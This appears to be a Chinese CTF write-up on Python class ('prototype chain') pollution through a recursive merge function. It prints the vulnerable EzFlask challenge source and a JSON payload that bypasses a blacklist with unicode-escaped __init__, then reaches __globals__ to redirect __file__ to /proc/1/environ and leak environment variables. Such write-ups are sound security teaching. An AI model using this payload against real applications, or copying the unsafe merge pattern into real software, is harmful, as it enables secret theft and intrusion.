【CTF】Python原型链污染

2023-11-04

Python原型链污染

原型链

在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

原型链污染

和JavaScript的原型链污染差不多,都是需要merge函数来修改父类的属性

class father:
    secret = "hello"
class son_a(father):
    pass
class son_b(father):
    pass
def merge(src, dst):
    for k, v in src.items():
        print(f"k:{k}\t v:{v}")
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = son_b()
print(instance)
payload = {
    "__class__" : { 
        "__base__" : { # 有继承关系,使用__base__找父类
            "secret" : "world"
        }
    }
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
# k:__class__      v:{'__base__': {'secret': 'world'}}
# getattr(dst,k):  <class '__main__.son_b'>
# k:__base__       v:{'secret': 'world'}
# getattr(dst,k):  <class '__main__.father'>
# k:secret         v:world
print(son_a.secret)
#world
print(instance.secret)
#world

在这个例子中:

  1. 首先在payload中读入__class__,都是查看对象所在的类,在instance中是有__class__这个属性,因此进入elif hasattr(dst, k) and type(v) == dict:这个语句中,继续执行merge
  2. merge其中输入的dst从原本的instance变为son_b这个类,而后使用__base__查看son_b中是否有父类,并寻找这个父类,根据语句elif hasattr(dst, k) and type(v) == dict继续执行merge
  3. merge其中dst变为father这个类,type(v)是字符串,则执行setattr(dst, k, v),father中的secret属性设置为world
  4. 因为父类的secret值改变,son_a的secret属性也寻找到father这个父类中,值也变为world

在这个例子中创建的对象instance对应的son_b类是存在父类的,但很多时候是没有父类的,此时就可以利用python的一些属性来寻找对应变量

全局变量获取

在Python中,函数或类方法均具有一个__globals__属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回,这样就可以用__globals__来修改想要修改的全局变量值

DSACTF2023七月暑期赛–EzFlask

进入靶机看到给出了源码

import uuid 
from flask import Flask, request, session 
import json

black_list = ["__init__".encode(),"__globals__".encode()]

app = Flask(__name__) 
app.secret_key = str(uuid.uuid4()) 
def check(data): 
    for i in black_list:
        print(i)
        if i in data: 
            print(i)
            return False 
    return True 
        
def merge(src, dst): 
    for k, v in src.items(): 
        if hasattr(dst, '__getitem__'): 
            if dst.get(k) and type(v) == dict: 
                merge(v, dst.get(k)) 
            else: dst[k] = v 
        elif hasattr(dst, k) and type(v) == dict: 
            merge(v, getattr(dst, k)) 
        else: setattr(dst, k, v) 
        
class user(): 
    def __init__(self): 
        self.username = "" 
        self.password = "" 
        pass 
    
    def check(self, data): 
        if self.username == data['username'] and self.password == data['password']: 
            return True 
        return False 

Users = [] 
@app.route('/register',methods=['POST']) 
def register(): 
    if request.data: 
        try: 
            print(request.data)
            print(json.loads(request.data))
            if not check(request.data):
                print("No check")
                return "Register Failed" 
            data = json.loads(request.data)
            print(data)
            if "username" not in data or "password" not in data: 
                print("no username or passwd")
                return "Register Failed" 
            User = user() 
            merge(data, User) 
            Users.append(User) 
        except Exception as e: 
            print("Exception: ",e)
            return "Register Failed"
        
        return "Register Success" 
    else: 
        print("no data")
        return "Register Failed" 

@app.route('/login',methods=['POST']) 
def login(): 
    if request.data: 
        try: 
            print(request.data)
            print(json.loads(request.data))
            data = json.loads(request.data).encode()
            if "username" not in data or "password" not in data: 
                return "Login Failed" 
            for user in Users: 
                if user.check(data): 
                    session["username"] = data["username"] 
                    return "Login Success" 
        except Exception: 
            return "Login Failed" 
        return "Login Failed" 
        
@app.route('/',methods=['GET']) 
def index(): 
    return open(__file__, "r").read() 
    
if __name__ == "__main__": 
    app.run(host="0.0.0.0", port=5010)

看到merge函数首先想到原型链污染,在index函数中是可以直接读取__file__对应的文件,因此想到利用merge函数去修改这个变量,将其变为我想看到的文件,可以看到register是创建了User对象,将data中的数值merge,那么就要在data中写上payload,在User类中重写了__init__类,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改,最后再重新进入index中读取文件内容,因此最终payload为

data = {
	"username" : "admin", 
	"password" : "123456", # 在data中定义username和password保证data可以进入merge函数中
	"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过
		"__globals__" : {
			"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
		}
	}
}

参考资料

  1. Python原型链污染变体(prototype-pollution-in-python)
  2. 深入理解 JavaScript Prototype 污染攻击
  3. Python原型链污染
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【CTF】Python原型链污染 的相关文章

随机推荐

  • 【Qt Creator快速入门第三版学习笔记】——第1章 Qt Creator简介

    第1章 Qt Creator简介 文章目录 第1章 Qt Creator简介 前言 1 1 Qt Creator的下载与安装 1 2Qt Creator环境介绍 1 2 1 主界面介绍 1 菜单栏 Menu Bar 2 模式选择器 Mode
  • ceres-solver库编译说明

    0 ceres solver简介 Ceres Solver是一个C 环境下的非线性最小二乘问题的求解工具包 可用来建模并解决大型复杂的非线性最小二乘问题 这个工具包已经广泛被用于很多商业软件中 在google project里面有它的主页
  • Oracle PL/SQL使用动态SQL

    动态SQL 意思是字符串的内容的内容当做SQL来执行 语法 execute immediate 字符串内容 execute 存储过程 参数 连接符 把左右两边的字符串的字符串连起来 合起来一个字符串 count 遇到的情况和对策 1 非查询
  • 集合框架集-List

    1 UML 统一建模语言 例如 类图 用例图等等 2 Collection接口 1 1 集合框架的顶级接口 1 2 是Set和List的父接口 1 3 但不是Map的父接口 集合中只能添加引用类型数据 Collection接口 是集合框架的
  • Unity3d Note5(鼠标打飞碟(Hit UFO)游戏)

    1 作业要求 2 具体设计 1 制备预制体作为飞碟 2 了解一下Singleton模板类 3 了解一下工厂模式 3 设计具体要实现的类 3 程序代码 成果视频 1 作业要求 编写一个简单的鼠标打飞碟 Hit UFO 游戏 游戏内容要求 游戏
  • Oracle 取出动态sql 执行的结果的两种方式

    以下是怎么取出动态sql执行结果的两种方式 第一种 直接 execute immediate insert into newTable id name select id name from dual 执行后 放到一个新的表里 第二种方式
  • JDBC、MAVEN概述

    1 什么是JDBC JDBC Java DataBase Connectivity Java数据库连接 其实就是 利用Java语言 程序连接并访问数据库的一门技术 之前我们可以通过CMD或者navicat等工具连接数据库 但在企业开发中 更
  • 本地访问远程web服务

    1 2 以管理员身份运行cmd ssh username remote address L 127 0 0 1 8888 127 0 0 1 8008 3 在远程服务器上去运行web服务 4 本地访问
  • 设置flex:1效果异常(父容器撑高/其它子元素高度缩小)

    先讲解决方案 1 自动占满容器 设置height min height 0 2 设置overflow hidden 原理是flex内容溢出原理 1 开发中想利用flex 1实现容器自动占满剩余高度 效果如下图 2 实现的时候div3是一个容
  • mysql grouping sets_Hive.GROUPINGSETS的“陷阱”

    之前整理了一下Hive 0 10版引进的GROUPING SETS子句特性 并作了简单的句法使用体验和数据验证 但是当时没有注意到稍微复杂一点的情况 然后 在实际使用过程中 妥妥地就中了一枪 这一枪发生在有JOIN操作的时候 情况是这样的
  • Typora 常用快捷键大全

    Typora 常用快捷键大全 Ctrl 1 一级标题 Ctrl 2 二级标题 Ctrl 3 三级标题 Ctrl 4 四级标题 Ctrl 5 五级标题 Ctrl 6 六级标题 Ctrl 0 段落 Ctrl 提升标题等级 Ctrl 降低标题等级
  • 期货开户的身份识别验证

    无论你是开通商品期货 原油期货还是股指期货以及期权 现在都支持网上办理 原油期货和股指期货以及期权品种都是在商品期货账户的基础上满足条件后再另外开通交易权限 叁格期权小编在这里为各位投资者详细介绍商品期货网上开户流程 一 开户前准备 开户准
  • markdown 表格不能换行吗

    在 Markdown 表格中 不能使用换行符来换行 如果您希望在表格中的单元格内换行 可以使用 HTML 语法 br 例如 列 1 列 2 这是第一列 这是第二列 br 换行了
  • Android 的Activity.getWindowManager().getDefaultDisplay().getWidth()过时了

    Android获取屏幕宽度和高度的方法 1 下面方发已经过时在API 13就已经放弃了 Activity getWindowManager getDefaultDisplay getWidth 获取屏幕宽度 Activity getWind
  • 练习项目npm start启动时报错的个人解决办法

    错误原因 这几天在学习react 跟着慕课网的视频学习 React实战 打造画廊应用 上 React实战 打造画廊应用 下 在用yeoman最初构建项目 完成后需要启动项目 运行npm start时 出现了错误 gt 0 0 1 start
  • Windows环境下基于Python的PyUSB库开发USB通讯

    最近在研究USB通讯 想用Python来实现 比较好用的一个库是PyUSB 但发现相关中文资料比较少 在这里做一个整理 系统是Windows 10 64位 1 安装PyUSB 运行cmd用pip安装pyusb pip install pyu
  • webservice的接口测试工具

    一 webservice介绍 webservice是一个跨语言跨平台的技术 使用webservice进行接口测试时不需要知道每一种语言和操作系统 webservice工作原理 webservice主要核心技术 HTTP 使用http来传输数
  • 解决java或jsp中的For input string的错误

    目录 问题 解决方案 方案一 方案二 方案三 备注 问题 我们在做接jsp开发时 不论是在jsp页面 还是在controller中 都会遇到这样的错误 For input String错误 为什么会出现这样的错误呢 当时 我在init中从数
  • beamer笔记——幻灯片比例改为16:9

    beamer进阶学习 幻灯片比例改为16 9 将幻灯片比例改为16 9 documentclass aspectratio 169 beamer 幻灯片包括的比例主要有 16 10 14 9 1 41 1 5 4 4 3 default 3
  • 【CTF】Python原型链污染

    Python原型链污染 原型链 在Python中每个对象都有一个原型 原型上定义了对象可以访问的属性和方法 当对象访问属性或方法时 会先在自身查找 如果找不到就会去原型链上的上级对象中查找 原型链污染攻击的思路是通过修改对象原型链中的属性